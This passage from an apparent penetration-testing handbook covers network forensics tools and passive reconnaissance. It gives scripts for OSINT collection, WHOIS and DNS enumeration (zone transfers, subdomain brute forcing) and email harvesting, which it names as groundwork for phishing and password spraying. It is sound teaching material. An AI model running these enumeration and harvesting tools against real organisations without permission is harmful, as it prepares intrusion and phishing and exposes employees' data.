packet_analyzer.py \")\n        sys.exit(1)\n    \n    analyze_pcap(sys.argv[1])\n    extract_files(sys.argv[1])\n    detect_anomalies(sys.argv[1])\n```\n\n#### 7.8.3 Network Forensics\n\n**Flow Analysis with nfdump**:\n\n```bash\n# Install nfdump\napt install nfdump\n\n# Capture flows (on router/switch)\n# Configure NetFlow/sFlow export\n\n# Analyze flows\nnfdump -r nfcapd.202401011200\nnfdump -r nfcapd.202401011200 -s ip/flows\nnfdump -r nfcapd.202401011200 -s record/bytes\n\n# Top talkers\nnfdump -r nfcapd.202401011200 -s ip/bytes\n\n# Filter by port\nnfdump -r nfcapd.202401011200 'port 22'\n```\n\n**PCAP Analysis Commands**:\n\n```bash\n# Count packets\ncapinfos capture.pcap\n\n# Extract specific conversations\neditcap -A 2024-01-01T10:00:00 -B 2024-01-01T11:00:00 capture.pcap window.pcap\n\n# Merge pcap files\nmergecap -w merged.pcap file1.pcap file2.pcap\n\n# Split pcap file\ntcpdump -r large.pcap -w small.pcap -C 100  # 100MB files\n\n# Filter with tcpslice\ntcpslice -R +60 capture.pcap  # First 60 seconds\n```\n\n#### 7.8.4 Real-time Traffic Analysis\n\n**Network Monitoring with ntopng**:\n\n```bash\n# Install ntopng\napt install ntopng\n\n# Configure\ncat &gt; /etc/ntopng/ntopng.conf &lt;&lt; EOF\n--interface=eth0\n--interface=eth1\n--http-port=3000\n--local-networks=\"192.168.0.0/16,10.0.0.0/8\"\nEOF\n\n# Start\nsystemctl enable ntopng\nsystemctl start ntopng\n# Access at http://localhost:3000\n```\n\n**IDS/IPS with Suricata**:\n\n```bash\n# Install Suricata\napt install suricata\n\n# Configure\ncat &gt; /etc/suricata/suricata.yaml &lt;&lt; EOF\naf-packet:\n  - interface: eth0\n    cluster-id: 99\n    cluster-type: cluster_flow\n    defrag: yes\n\ndefault-log-dir: /var/log/suricata/\n\nrules:\n  - /etc/suricata/rules/*.rules\n\noutputs:\n  - eve-log:\n      enabled: yes\n      filetype: regular\n      filename: eve.json\n      types:\n        - alert\n        - http\n        - dns\n        - tls\nEOF\n\n# Download rules\nsuricata-update\n\n# Run\nsystemctl enable suricata\nsystemctl start suricata\n\n# Check alerts\ntail -f /var/log/suricata/eve.json | jq '. | select(.event_type==\"alert\")'\n```\n\n---\n\n# PART III \u2014 INFORMATION GATHERING &amp; RECONNAISSANCE\n\n## Chapter 8 \u2014 Passive Reconnaissance\n\nPassive reconnaissance is the art of gathering information about a target without directly interacting with their systems. This phase is crucial because it leaves no traces, avoids detection, and often reveals a wealth of information from publicly available sources.\n\n### 8.1 OSINT Methodology\n\nOpen Source Intelligence (OSINT) is the foundation of passive reconnaissance. It involves collecting and analyzing information from publicly available sources to build a comprehensive profile of a target organization or individual.\n\n#### 8.1.1 The OSINT Cycle\n\nThe OSINT process follows a systematic cycle that ensures thorough coverage and organized analysis:\n\n**1. Planning and Direction**\n- Define the scope and objectives of the investigation\n- Identify what information is needed and why\n- Determine legal and ethical boundaries\n- Establish timelines and deliverables\n- Identify potential sources of information\n\n**2. Collection**\n- Gather data from multiple sources\n- Use automated tools for large-scale collection\n- Document all sources and collection methods\n- Ensure data is captured in its original form\n- Consider both technical and human sources\n\n**3. Processing**\n- Organize collected data into structured formats\n- Remove duplicates and irrelevant information\n- Convert data into analyzable formats\n- Create timelines and relationship maps\n- Index information for easy retrieval\n\n**4. Analysis**\n- Identify patterns and relationships\n- Correlate data from multiple sources\n- Validate information accuracy\n- Draw conclusions and identify gaps\n- Prioritize findings based on relevance\n\n**5. Dissemination**\n- Prepare reports tailored to audience\n- Present findings with supporting evidence\n- Include methodologies and sources\n- Provide actionable recommendations\n- Protect sensitive information\n\n#### 8.1.2 OSINT Sources and Categories\n\n**Public Records**\n- Corporate registrations (Companies House, SEC EDGAR)\n- Property records and tax assessments\n- Court records and legal filings\n- Patent and trademark databases\n- Government contracts and procurement\n\n**Technical Infrastructure**\n- DNS records and whois data\n- SSL/TLS certificates\n- IP address allocations\n- Autonomous System Numbers (ASN)\n- Technology stacks and versions\n\n**Digital Presence**\n- Websites and web applications\n- Social media platforms\n- Code repositories (GitHub, GitLab)\n- Job postings and career sites\n- Online forums and discussion boards\n\n**Human Intelligence**\n- Employee profiles on LinkedIn\n- Conference presentations and slides\n- Technical blog posts\n- Public speaking engagements\n- Academic publications\n\n#### 8.1.3 OSINT Framework\n\nA structured approach to OSINT ensures no stone is left unturned:\n\n```bash\n# Create an OSINT workspace\nmkdir -p ~/osint/{targets,data,reports,tools}\ncd ~/osint\n\n# Initialize target investigation\ntarget=\"example.com\"\nmkdir -p \"targets/$target\"/{dns,emails,subdomains,technologies,people,social}\n```\n\n**OSINT Collection Script**:\n\n```python\n#!/usr/bin/env python3\n# osint_framework.py\n\nimport os\nimport json\nimport datetime\nimport requests\nfrom typing import Dict, List, Any\nimport hashlib\n\nclass OSINTInvestigation:\n    def __init__(self, target_name: str, target_domain: str = None):\n        self.target_name = target_name\n        self.target_domain = target_domain or target_name\n        self.timestamp = datetime.datetime.now().isoformat()\n        self.data = {\n            \"target\": target_name,\n            \"domain\": self.target_domain,\n            \"timestamp\": self.timestamp,\n            \"sources\": {},\n            \"findings\": {}\n        }\n        self.workspace = f\"osint_workspace/{target_name}_{self.timestamp.replace(':', '-')}\"\n        os.makedirs(self.workspace, exist_ok=True)\n        \n    def add_finding(self, category: str, source: str, data: Any):\n        \"\"\"Add a finding to the investigation\"\"\"\n        if category not in self.data[\"findings\"]:\n            self.data[\"findings\"][category] = []\n        \n        finding = {\n            \"source\": source,\n            \"timestamp\": datetime.datetime.now().isoformat(),\n            \"data\": data\n        }\n        self.data[\"findings\"][category].append(finding)\n        \n        # Save to file\n        category_file = f\"{self.workspace}/{category}.json\"\n        with open(category_file, 'a') as f:\n            f.write(json.dumps(finding) + \"\\n\")\n    \n    def save_report(self):\n        \"\"\"Save the complete investigation report\"\"\"\n        report_file = f\"{self.workspace}/report.json\"\n        with open(report_file, 'w') as f:\n            json.dump(self.data, f, indent=2)\n        \n        # Generate HTML report\n        self.generate_html_report()\n        \n    def generate_html_report(self):\n        \"\"\"Generate an HTML report from findings\"\"\"\n        html = f\"\"\"\n        \n        \n        \n            OSINT Report: {self.target_name}\n            \n                body {{ font-family: Arial, sans-serif; margin: 20px; }}\n                h1 {{ color: #333; }}\n                h2 {{ color: #666; margin-top: 30px; }}\n                .finding {{ background: #f5f5f5; padding: 10px; margin: 10px 0; border-radius: 5px; }}\n                .timestamp {{ color: #999; font-size: 0.9em; }}\n                pre {{ background: #fff; padding: 5px; overflow-x: auto; }}\n            \n        \n        \n            \nOSINT Investigation Report: {self.target_name}\n            \nGenerated: {self.timestamp}\n        \"\"\"\n        \n        for category, findings in self.data[\"findings\"].items():\n            html += f\"\n{category.upper()}\"\n            for finding in findings:\n                html += f\"\"\"\n                \n\n                    \nSource: {finding['source']} | {finding['timestamp']}\n                    \n{json.dumps(finding['data'], indent=2)}\n                \n                \"\"\"\n        \n        html += \"\"\"\n        \n        \n        \"\"\"\n        \n        with open(f\"{self.workspace}/report.html\", 'w') as f:\n            f.write(html)\n        \n        print(f\"HTML report saved to {self.workspace}/report.html\")\n    \n    def search_github(self, query: str):\n        \"\"\"Search GitHub for target-related code\"\"\"\n        print(f\"Searching GitHub for: {query}\")\n        # Implementation would use GitHub API\n        results = []\n        self.add_finding(\"github\", \"GitHub API\", results)\n        return results\n    \n    def search_linkedin(self, company: str):\n        \"\"\"Search LinkedIn for employees\"\"\"\n        print(f\"Searching LinkedIn for: {company}\")\n        # Implementation would use LinkedIn scraping (with caution)\n        results = []\n        self.add_finding(\"linkedin\", \"LinkedIn\", results)\n        return results\n    \n    def get_certificate_transparency(self, domain: str):\n        \"\"\"Query certificate transparency logs\"\"\"\n        print(f\"Getting certificates for: {domain}\")\n        try:\n            url = f\"https://crt.sh/?q=%.{domain}&amp;output=json\"\n            response = requests.get(url)\n            if response.status_code == 200:\n                certs = response.json()\n                self.add_finding(\"certificates\", \"crt.sh\", certs)\n                return certs\n        except Exception as e:\n            print(f\"Error: {e}\")\n        return []\n\n# Example usage\nif __name__ == \"__main__\":\n    inv = OSINTInvestigation(\"Example Corp\", \"example.com\")\n    inv.get_certificate_transparency(\"example.com\")\n    inv.save_report()\n```\n\n### 8.2 WHOIS Enumeration\n\nWHOIS provides registration information for domain names and IP addresses, often revealing organizational details, contact information, and technical infrastructure.\n\n#### 8.2.1 WHOIS Protocol and Data\n\n**WHOIS Record Components**:\n\n```bash\n# Basic WHOIS query\nwhois example.com\n\n# Key information extracted:\nDomain Name: EXAMPLE.COM\nRegistry Domain ID: 2336799_DOMAIN_COM-VRSN\nRegistrar WHOIS Server: whois.iana.org\nRegistrar URL: http://res-dom.iana.org\nUpdated Date: 2023-08-14T07:01:29Z\nCreation Date: 1995-08-14T04:00:00Z\nRegistry Expiry Date: 2024-08-13T04:00:00Z\nRegistrar: RESERVED-Internet Assigned Numbers Authority\nRegistrar IANA ID: 376\nRegistrar Abuse Contact Email: \nRegistrar Abuse Contact Phone: \nDomain Status: clientDeleteProhibited\nDomain Status: clientTransferProhibited\nDomain Status: clientUpdateProhibited\nName Server: A.IANA-SERVERS.NET\nName Server: B.IANA-SERVERS.NET\n```\n\n**WHOIS Data Categories**:\n\n- **Registrant**: The domain owner\n- **Administrative Contact**: Person responsible for domain management\n- **Technical Contact**: Person handling technical issues\n- **Billing Contact**: Person handling payments\n- **Registrar**: Company where domain was registered\n- **Name Servers**: DNS servers for the domain\n- **Dates**: Creation, update, and expiration\n- **Status Codes**: Domain status flags\n\n#### 8.2.2 WHOIS Enumeration Techniques\n\n**Automated WHOIS Collection**:\n\n```python\n#!/usr/bin/env python3\n# whois_enum.py\n\nimport whois\nimport socket\nimport json\nimport sys\nfrom datetime import datetime\n\nclass WHOISEnumerator:\n    def __init__(self):\n        self.results = {}\n        \n    def get_domain_whois(self, domain):\n        \"\"\"Get WHOIS information for a domain\"\"\"\n        try:\n            w = whois.whois(domain)\n            return {\n                'domain_name': w.domain_name,\n                'registrar': w.registrar,\n                'whois_server': w.whois_server,\n                'creation_date': str(w.creation_date) if w.creation_date else None,\n                'expiration_date': str(w.expiration_date) if w.expiration_date else None,\n                'updated_date': str(w.updated_date) if w.updated_date else None,\n                'name_servers': w.name_servers,\n                'status': w.status,\n                'emails': w.emails,\n                'org': w.org,\n                'address': w.address,\n                'city': w.city,\n                'state': w.state,\n                'country': w.country\n            }\n        except Exception as e:\n            print(f\"Error getting WHOIS for {domain}: {e}\")\n            return None\n    \n    def get_ip_whois(self, ip):\n        \"\"\"Get WHOIS information for an IP address\"\"\"\n        try:\n            # Use whois library for IPs or external service\n            # This is a simplified version\n            return socket.gethostbyaddr(ip)[0]\n        except:\n            return None\n    \n    def find_related_domains(self, email):\n        \"\"\"Find domains registered with same email\"\"\"\n        # This would typically use reverse WHOIS services\n        # Example using viewdns.info or similar (API key required)\n        print(f\"Searching for domains with email: {email}\")\n        return []\n    \n    def historical_whois(self, domain):\n        \"\"\"Get historical WHOIS records\"\"\"\n        # Services like whoisology.com or securitytrails.com provide historical data\n        print(f\"Getting historical WHOIS for: {domain}\")\n        return {}\n    \n    def parse_whois_text(self, whois_text):\n        \"\"\"Parse raw WHOIS text output\"\"\"\n        data = {}\n        lines = whois_text.split('\\n')\n        for line in lines:\n            if ':' in line:\n                key, value = line.split(':', 1)\n                data[key.strip()] = value.strip()\n        return data\n    \n    def enumerate_domain(self, domain):\n        \"\"\"Complete WHOIS enumeration for a domain\"\"\"\n        print(f\"\\n[+] Enumerating WHOIS for: {domain}\")\n        \n        # Get current WHOIS\n        whois_data = self.get_domain_whois(domain)\n        if whois_data:\n            self.results[domain] = whois_data\n            \n            # Extract contacts for further investigation\n            emails = whois_data.get('emails', [])\n            if emails:\n                print(f\"\\n[!] Found emails: {emails}\")\n                for email in emails:\n                    related = self.find_related_domains(email)\n                    if related:\n                        print(f\"  Related domains for {email}: {related}\")\n            \n            # Extract name servers\n            ns = whois_data.get('name_servers', [])\n            if ns:\n                print(f\"\\n[!] Name servers: {ns}\")\n                # Resolve name servers to IPs\n                for server in ns[:5]:  # Limit to first 5\n                    try:\n                        ip = socket.gethostbyname(server)\n                        print(f\"  {server} -&gt; {ip}\")\n                    except:\n                        pass\n            \n            # Extract dates for timeline\n            created = whois_data.get('creation_date')\n            expires = whois_data.get('expiration_date')\n            if created:\n                print(f\"\\n[!] Domain created: {created}\")\n            if expires:\n                print(f\"    Expires: {expires}\")\n    \n    def save_results(self, filename):\n        \"\"\"Save results to file\"\"\"\n        with open(filename, 'w') as f:\n            json.dump(self.results, f, indent=2, default=str)\n        print(f\"\\n[+] Results saved to {filename}\")\n\n# Command-line interface\nif __name__ == \"__main__\":\n    if len(sys.argv) &lt; 2:\n        print(\"Usage: whois_enum.py  [output_file]\")\n        sys.exit(1)\n    \n    domain = sys.argv[1]\n    output = sys.argv[2] if len(sys.argv) &gt; 2 else f\"{domain}_whois.json\"\n    \n    enumerator = WHOISEnumerator()\n    enumerator.enumerate_domain(domain)\n    enumerator.save_results(output)\n```\n\n**WHOIS Automation Script**:\n\n```bash\n#!/bin/bash\n# whois_auto.sh\n\ndomain=\"$1\"\noutput_dir=\"whois_results_$(date +%Y%m%d)\"\n\nmkdir -p \"$output_dir\"\n\n# Function to get and parse WHOIS\nget_whois() {\n    local target=\"$1\"\n    local output=\"$output_dir/${target}.txt\"\n    \n    echo \"[*] Getting WHOIS for $target\"\n    whois \"$target\" &gt; \"$output\"\n    \n    # Extract key information\n    echo \"=== WHOIS Summary for $target ===\" &gt; \"$output_dir/${target}_summary.txt\"\n    grep -E \"Domain Name:|Registrar:|Creation Date:|Expiry Date:|Name Server:|Registrant|Admin|Tech\" \"$output\" | \\\n        sort -u &gt;&gt; \"$output_dir/${target}_summary.txt\"\n    \n    # Extract email addresses\n    grep -E -o '\\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\\.[A-Za-z]{2,}\\b' \"$output\" | \\\n        sort -u &gt; \"$output_dir/${target}_emails.txt\"\n    \n    # Extract IP addresses\n    grep -E -o '([0-9]{1,3}\\.){3}[0-9]{1,3}' \"$output\" | \\\n        sort -u &gt; \"$output_dir/${target}_ips.txt\"\n    \n    echo \"[+] WHOIS data saved to $output_dir\"\n}\n\n# Main execution\nif [ -z \"$domain\" ]; then\n    echo \"Usage: $0 \"\n    exit 1\nfi\n\nget_whois \"$domain\"\n\n# Try different WHOIS servers for more data\nservers=(\"whois.verisign-grs.com\" \"whois.crsnic.net\" \"whois.internic.net\")\n\nfor server in \"${servers[@]}\"; do\n    echo \"[*] Trying WHOIS server: $server\"\n    whois -h \"$server\" \"$domain\" &gt;&gt; \"$output_dir/${domain}_${server}.txt\" 2&gt;/dev/null\ndone\n\necho \"[+] WHOIS enumeration complete. Results in $output_dir\"\n```\n\n#### 8.2.3 WHOIS Privacy and Protection\n\n**WHOIS Privacy Services**:\n- Many domains use WHOIS privacy protection\n- Contact information is replaced with proxy details\n- Still reveals registrar and name servers\n- Historical WHOIS may show original data\n\n**Detecting Protected WHOIS**:\n\n```bash\n# Identify privacy-protected domains\nwhois example.com | grep -i \"privacy\\|protect\\|REDACTED\\|PRIVACY\"\n\n# Common privacy providers\nwhois example.com | grep -E \"Domains By Proxy|WhoisGuard|PrivacyProtect\"\n```\n\n**Working Around Privacy**:\n- Check historical WHOIS records\n- Look for patterns in name servers\n- Analyze SSL certificate transparency logs\n- Examine DNS records for clues\n- Search for related domains with exposed WHOIS\n\n### 8.3 DNS Enumeration\n\nDNS enumeration reveals the infrastructure behind a domain, including subdomains, mail servers, and other services.\n\n#### 8.3.1 DNS Record Types for Reconnaissance\n\n**Essential DNS Records**:\n\n```bash\n# A Records - IPv4 addresses\ndig example.com A +short\n\n# AAAA Records - IPv6 addresses\ndig example.com AAAA +short\n\n# MX Records - Mail servers\ndig example.com MX +short\n\n# NS Records - Name servers\ndig example.com NS +short\n\n# TXT Records - Text information (SPF, DKIM, verification)\ndig example.com TXT +short\n\n# SOA Record - Start of Authority\ndig example.com SOA +short\n\n# CNAME Records - Aliases\ndig www.example.com CNAME +short\n\n# SRV Records - Service locations\ndig _sip._tcp.example.com SRV +short\n\n# PTR Records - Reverse DNS\ndig -x 192.168.1.1 +short\n```\n\n**Comprehensive DNS Enumeration**:\n\n```python\n#!/usr/bin/env python3\n# dns_enum.py\n\nimport dns.resolver\nimport dns.zone\nimport dns.query\nimport dns.reversename\nimport socket\nimport sys\nfrom concurrent.futures import ThreadPoolExecutor\nimport json\n\nclass DNSEnumerator:\n    def __init__(self, domain, dns_server='8.8.8.8'):\n        self.domain = domain\n        self.resolver = dns.resolver.Resolver()\n        self.resolver.nameservers = [dns_server]\n        self.resolver.timeout = 2\n        self.resolver.lifetime = 2\n        self.results = {\n            'domain': domain,\n            'records': {},\n            'subdomains': [],\n            'zone_transfer': None,\n            'reverse_dns': []\n        }\n    \n    def query_record(self, record_type):\n        \"\"\"Query specific DNS record type\"\"\"\n        try:\n            answers = self.resolver.resolve(self.domain, record_type)\n            return [str(r) for r in answers]\n        except dns.resolver.NoAnswer:\n            return []\n        except dns.resolver.NXDOMAIN:\n            return []\n        except Exception as e:\n            print(f\"Error querying {record_type}: {e}\")\n            return []\n    \n    def enumerate_all_records(self):\n        \"\"\"Enumerate all common DNS record types\"\"\"\n        record_types = ['A', 'AAAA', 'MX', 'NS', 'TXT', 'SOA', 'CNAME', 'PTR', 'SRV', 'CAA']\n        \n        print(f\"\\n[+] Enumerating DNS records for {self.domain}\")\n        \n        for rtype in record_types:\n            records = self.query_record(rtype)\n            if records:\n                self.results['records'][rtype] = records\n                print(f\"  {rtype}: {', '.join(records[:3])}\" + \n                      (f\" and {len(records)-3} more\" if len(records) &gt; 3 else \"\"))\n    \n    def brute_force_subdomains(self, wordlist_file, threads=20):\n        \"\"\"Brute force subdomain discovery\"\"\"\n        print(f\"\\n[+] Brute-forcing subdomains (using {wordlist_file})\")\n        \n        try:\n            with open(wordlist_file, 'r') as f:\n                subdomains = [line.strip() for line in f if line.strip()]\n        except FileNotFoundError:\n            print(f\"Wordlist not found: {wordlist_file}\")\n            return\n        \n        found = []\n        \n        def check_subdomain(sub):\n            try:\n                target = f\"{sub}.{self.domain}\"\n                answers = self.resolver.resolve(target, 'A')\n                if answers:\n                    ips = [str(a) for a in answers]\n                    print(f\"  Found: {target} -&gt; {', '.join(ips)}\")\n                    return {'subdomain': target, 'ips': ips}\n            except:\n                pass\n            return None\n        \n        with ThreadPoolExecutor(max_workers=threads) as executor:\n            results = executor.map(check_subdomain, subdomains)\n            found = [r for r in results if r]\n        \n        self.results['subdomains'] = found\n        print(f\"\\n[+] Found {len(found)} subdomains\")\n        return found\n    \n    def attempt_zone_transfer(self):\n        \"\"\"Attempt DNS zone transfer\"\"\"\n        print(f\"\\n[+] Attempting zone transfer for {self.domain}\")\n        \n        # Get NS records\n        ns_records = self.query_record('NS')\n        \n        for ns in ns_records:\n            ns = ns.rstrip('.')\n            print(f\"  Trying nameserver: {ns}\")\n            \n            try:\n                # Resolve NS to IP\n                ns_ip = socket.gethostbyname(ns)\n                \n                # Attempt zone transfer\n                zone = dns.zone.from_xfr(dns.query.xfr(ns_ip, self.domain, timeout=5))\n                \n                if zone:\n                    records = []\n                    for name, node in zone.nodes.items():\n                        rdatasets = node.rdatasets\n                        for rdataset in rdatasets:\n                            for rdata in rdataset:\n                                records.append({\n                                    'name': str(name),\n                                    'type': dns.rdatatype.to_text(rdataset.rdtype),\n                                    'data': str(rdata)\n                                })\n                    \n                    self.results['zone_transfer'] = {\n                        'nameserver': ns,\n                        'records': records\n                    }\n                    \n                    print(f\"  [!] Zone transfer successful from {ns}!\")\n                    print(f\"      Found {len(records)} records\")\n                    return True\n            except Exception as e:\n                print(f\"      Failed: {e}\")\n        \n        print(\"  No zone transfer possible\")\n        return False\n    \n    def reverse_lookup(self, subnet):\n        \"\"\"Perform reverse DNS lookup on a subnet\"\"\"\n        print(f\"\\n[+] Reverse DNS lookup on {subnet}\")\n        \n        from ipaddress import ip_network\n        \n        try:\n            network = ip_network(subnet)\n            found = []\n            \n            for ip in network.hosts():\n                try:\n                    rev_name = dns.reversename.from_address(str(ip))\n                    answers = self.resolver.resolve(rev_name, 'PTR')\n                    for answer in answers:\n                        ptr = str(answer)\n                        found.append({'ip': str(ip), 'ptr': ptr})\n                        print(f\"  {ip} -&gt; {ptr}\")\n                except:\n                    pass\n            \n            self.results['reverse_dns'] = found\n            print(f\"\\n[+] Found {len(found)} PTR records\")\n            return found\n            \n        except Exception as e:\n            print(f\"Error: {e}\")\n            return []\n    \n    def get_spf_records(self):\n        \"\"\"Parse SPF records for additional information\"\"\"\n        txt_records = self.query_record('TXT')\n        spf_info = []\n        \n        for txt in txt_records:\n            if txt.startswith('v=spf1'):\n                print(f\"\\n[+] SPF Record: {txt}\")\n                \n                # Parse SPF mechanisms\n                mechanisms = txt.split()\n                for mech in mechanisms:\n                    if mech.startswith('include:'):\n                        include_domain = mech.split(':')[1]\n                        spf_info.append({'type': 'include', 'value': include_domain})\n                        print(f\"    Includes: {include_domain}\")\n                    elif mech.startswith('ip4:'):\n                        ip = mech.split(':')[1]\n                        spf_info.append({'type': 'ip4', 'value': ip})\n                        print(f\"    Allows IP: {ip}\")\n                    elif mech.startswith('ip6:'):\n                        ip = mech.split(':')[1]\n                        spf_info.append({'type': 'ip6', 'value': ip})\n                        print(f\"    Allows IPv6: {ip}\")\n        \n        return spf_info\n    \n    def get_dmarc_record(self):\n        \"\"\"Check DMARC policy\"\"\"\n        try:\n            dmarc_domain = f\"_dmarc.{self.domain}\"\n            answers = self.resolver.resolve(dmarc_domain, 'TXT')\n            for answer in answers:\n                dmarc = str(answer)\n                if dmarc.startswith('v=DMARC1'):\n                    print(f\"\\n[+] DMARC Record: {dmarc}\")\n                    \n                    # Parse DMARC tags\n                    tags = dmarc.split(';')\n                    dmarc_info = {}\n                    for tag in tags:\n                        if '=' in tag:\n                            key, value = tag.strip().split('=', 1)\n                            dmarc_info[key] = value\n                    \n                    return dmarc_info\n        except:\n            print(\"\\n[-] No DMARC record found\")\n        \n        return None\n    \n    def get_caa_record(self):\n        \"\"\"Check CAA (Certificate Authority Authorization)\"\"\"\n        caa_records = self.query_record('CAA')\n        if caa_records:\n            print(f\"\\n[+] CAA Records: {caa_records}\")\n            return caa_records\n        return []\n    \n    def save_results(self, filename):\n        \"\"\"Save results to JSON file\"\"\"\n        with open(filename, 'w') as f:\n            json.dump(self.results, f, indent=2, default=str)\n        print(f\"\\n[+] Results saved to {filename}\")\n    \n    def generate_report(self):\n        \"\"\"Generate a summary report\"\"\"\n        print(\"\\n\" + \"=\"*60)\n        print(f\"DNS ENUMERATION REPORT: {self.domain}\")\n        print(\"=\"*60)\n        \n        # Records summary\n        print(\"\\n[ DNS RECORDS ]\")\n        for rtype, records in self.results['records'].items():\n            print(f\"  {rtype}: {len(records)} records\")\n        \n        # Subdomains\n        if self.results['subdomains']:\n            print(f\"\\n[ SUBDOMAINS ] ({len(self.results['subdomains'])} found)\")\n            for sub in self.results['subdomains'][:10]:  # Show first 10\n                print(f\"  {sub['subdomain']} -&gt; {', '.join(sub['ips'])}\")\n            if len(self.results['subdomains']) &gt; 10:\n                print(f\"  ... and {len(self.results['subdomains'])-10} more\")\n        \n        # Zone transfer\n        if self.results['zone_transfer']:\n            print(f\"\\n[ ZONE TRANSFER ] Successful from {self.results['zone_transfer']['nameserver']}\")\n            print(f\"  Records: {len(self.results['zone_transfer']['records'])}\")\n        \n        print(\"\\n\" + \"=\"*60)\n\n# Command-line interface\nif __name__ == \"__main__\":\n    if len(sys.argv) &lt; 2:\n        print(\"Usage: dns_enum.py  [wordlist]\")\n        print(\"Example: dns_enum.py example.com /usr/share/wordlists/dns/subdomains.txt\")\n        sys.exit(1)\n    \n    domain = sys.argv[1]\n    wordlist = sys.argv[2] if len(sys.argv) &gt; 2 else None\n    \n    enumerator = DNSEnumerator(domain)\n    \n    # Run enumeration\n    enumerator.enumerate_all_records()\n    enumerator.get_spf_records()\n    enumerator.get_dmarc_record()\n    enumerator.get_caa_record()\n    \n    if wordlist:\n        enumerator.brute_force_subdomains(wordlist)\n    \n    enumerator.attempt_zone_transfer()\n    \n    # Generate report and save\n    enumerator.generate_report()\n    enumerator.save_results(f\"{domain}_dns_enum.json\")\n```\n\n#### 8.3.2 DNS Enumeration Tools\n\n**DNSRecon**:\n\n```bash\n# Install dnsrecon\napt install dnsrecon\n\n# Basic enumeration\ndnsrecon -d example.com\n\n# Comprehensive scan\ndnsrecon -d example.com -t std,brt,bing,yahoo,google,tld\n\n# Zone transfer attempt\ndnsrecon -d example.com -t axfr\n\n# Reverse lookup\ndnsrecon -r 192.168.1.0/24\n\n# Save to file\ndnsrecon -d example.com --json output.json --xml output.xml\n```\n\n**DNSEnum**:\n\n```bash\n# Install dnsenum\napt install dnsenum\n\n# Basic enumeration\ndnsenum example.com\n\n# With subdomain brute force\ndnsenum --enum -f /usr/share/wordlists/dns/subdomains.txt example.com\n\n# With whois and reverse lookup\ndnsenum --enum -f wordlist.txt -r example.com\n```\n\n**Fierce**:\n\n```bash\n# Install fierce\napt install fierce\n\n# Basic scan\nfierce --domain example.com\n\n# With DNS server\nfierce --domain example.com --dns-servers 8.8.8.8\n\n# Range scan\nfierce --domain example.com --range 192.168.1.0/24\n\n# Subdomain brute force\nfierce --domain example.com --subdomains wordlist.txt\n```\n\n### 8.4 Email Harvesting\n\nEmail harvesting collects email addresses associated with a target, which can be used for phishing, password spraying, or social engineering.\n\n#### 8.4.1 Email Discovery Techniques\n\n**theHarvester**:\n\n```bash\n# Install theHarvester\napt install theHarvester\n\n# Basic search\ntheHarvester -d example.com -b google\n\n# Multiple sources\ntheHarvester -d example.com -b google,linkedin,bing,yahoo\n\n# Limit results\ntheHarvester -d example.com -b all -l 500\n\n# Save output\ntheHarvester -d example.com -b all -f results.html\n```\n\n**Custom Email Harvester**:\n\n```python\n#!/usr/bin/env python3\n# email_harvester.py\n\nimport re\nimport requests\nimport sys\nimport time\nfrom urllib.parse import urlparse, urljoin\nfrom bs4 import BeautifulSoup\nfrom concurrent.futures import ThreadPoolExecutor\nimport json\n\nclass EmailHarvester:\n    def __init__(self, target):\n        self.target = target\n        self.emails = set()\n        self.urls_visited = set()\n        self.results = {\n            'target': target,\n            'emails': [],\n            'sources': {}\n        }\n        \n    def extract_emails_from_text(self, text, source):\n        \"\"\"Extract email addresses from text\"\"\"\n        # Basic email regex\n        email_pattern = r'\\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\\.[A-Z|a-z]{2,}\\b'\n        found = re.findall(email_pattern, text)\n        \n        # Filter emails matching the target domain or collect all\n        for email in found:\n            # Basic validation\n            if self.is_valid_email(email):\n                self.emails.add(email)\n                if source not in self.results['sources']:\n                    self.results['sources'][source] = []\n                if email not in self.results['sources'][source]:\n                    self.results['sources'][source].append(email)\n        \n        return found\n    \n    def is_valid_email(self, email):\n        \"\"\"Basic email validation\"\"\"\n        # Remove common false positives\n        if email.endswith('.png') or email.endswith('.jpg') or email.endswith('.css'):\n            return False\n        if 'example.com' in email:\n            return False\n        if len(email) &gt; 100:  # Unreasonably long\n            return False\n        return True\n    \n    def search_google(self, query, pages=5):\n        \"\"\"Search Google for emails (requires careful rate limiting)\"\"\"\n        print(f\"[*] Searching Google for: {query}\")\n        \n        # This is a simplified version - in practice, use Google Custom Search API\n        headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'}\n        \n        for page in range(pages):\n            try:\n                start = page * 10\n                url = f\"https://www.google.com/search?q={query}&amp;start={start}\"\n                response = requests.get(url, headers=headers, timeout=5)\n                \n                if response.status_code == 200:\n                    self.extract_emails_from_text(response.text, 'google')\n                \n                time.sleep(2)  # Be respectful\n            except Exception as e:\n                print(f\"  Error: {e}\")\n    \n    def crawl_website(self, url, max_pages=50):\n        \"\"\"Crawl a website and extract emails\"\"\"\n        if len(self.urls_visited) &gt;= max_pages:\n            return\n        \n        if url in self.urls_visited:\n            return\n        \n        self.urls_visited.add(url)\n        print(f\"[*] Crawling: {url}\")\n        \n        try:\n            headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'}\n            response = requests.get(url, headers=headers, timeout=5)\n            \n            if response.status_code == 200:\n                # Extract emails from page\n                self.extract_emails_from_text(response.text, f'crawl:{url}')\n                \n                # Parse HTML and find links\n                soup = BeautifulSoup(response.text, 'html.parser')\n                for link in soup.find_all('a', href=True):\n                    href = link['href']\n                    full_url = urljoin(url, href)\n                    \n                    # Stay on same domain\n                    if self.target in full_url and full_url not in self.urls_visited:\n                        self.crawl_website(full_url, max_pages)\n                        \n        except Exception as e:\n            print(f\"  Error crawling {url}: {e}\")\n    \n    def query_pgp_servers(self, domain):\n        \"\"\"Search PGP key servers for emails\"\"\"\n        print(f\"[*] Searching PGP servers for: {domain}\")\n        \n        servers = [\n            'https://keyserver.ubuntu.com',\n            'https://pgp.mit.edu'\n        ]\n        \n        for server in servers:\n            try:\n                url = f\"{server}/pks/lookup?search={domain}&amp;op=index&amp;fingerprint=on\"\n                response = requests.get(url, timeout=5)\n                \n                if response.status_code == 200:\n                    self.extract_emails_from_text(response.text, f'pgp:{server}')\n            except Exception as e:\n                print(f\"  Error with {server}: {e}\")\n    \n    def query_github(self, domain):\n        \"\"\"Search GitHub for emails\"\"\"\n        print(f\"[*] Searching GitHub for: {domain}\")\n        \n        try:\n            # GitHub API search\n            url = f\"https://api.github.com/search/code?q={domain}+extension:txt+email\"\n            headers = {'Accept': 'application/vnd.github.v3+json'}\n            \n            # Note: GitHub API 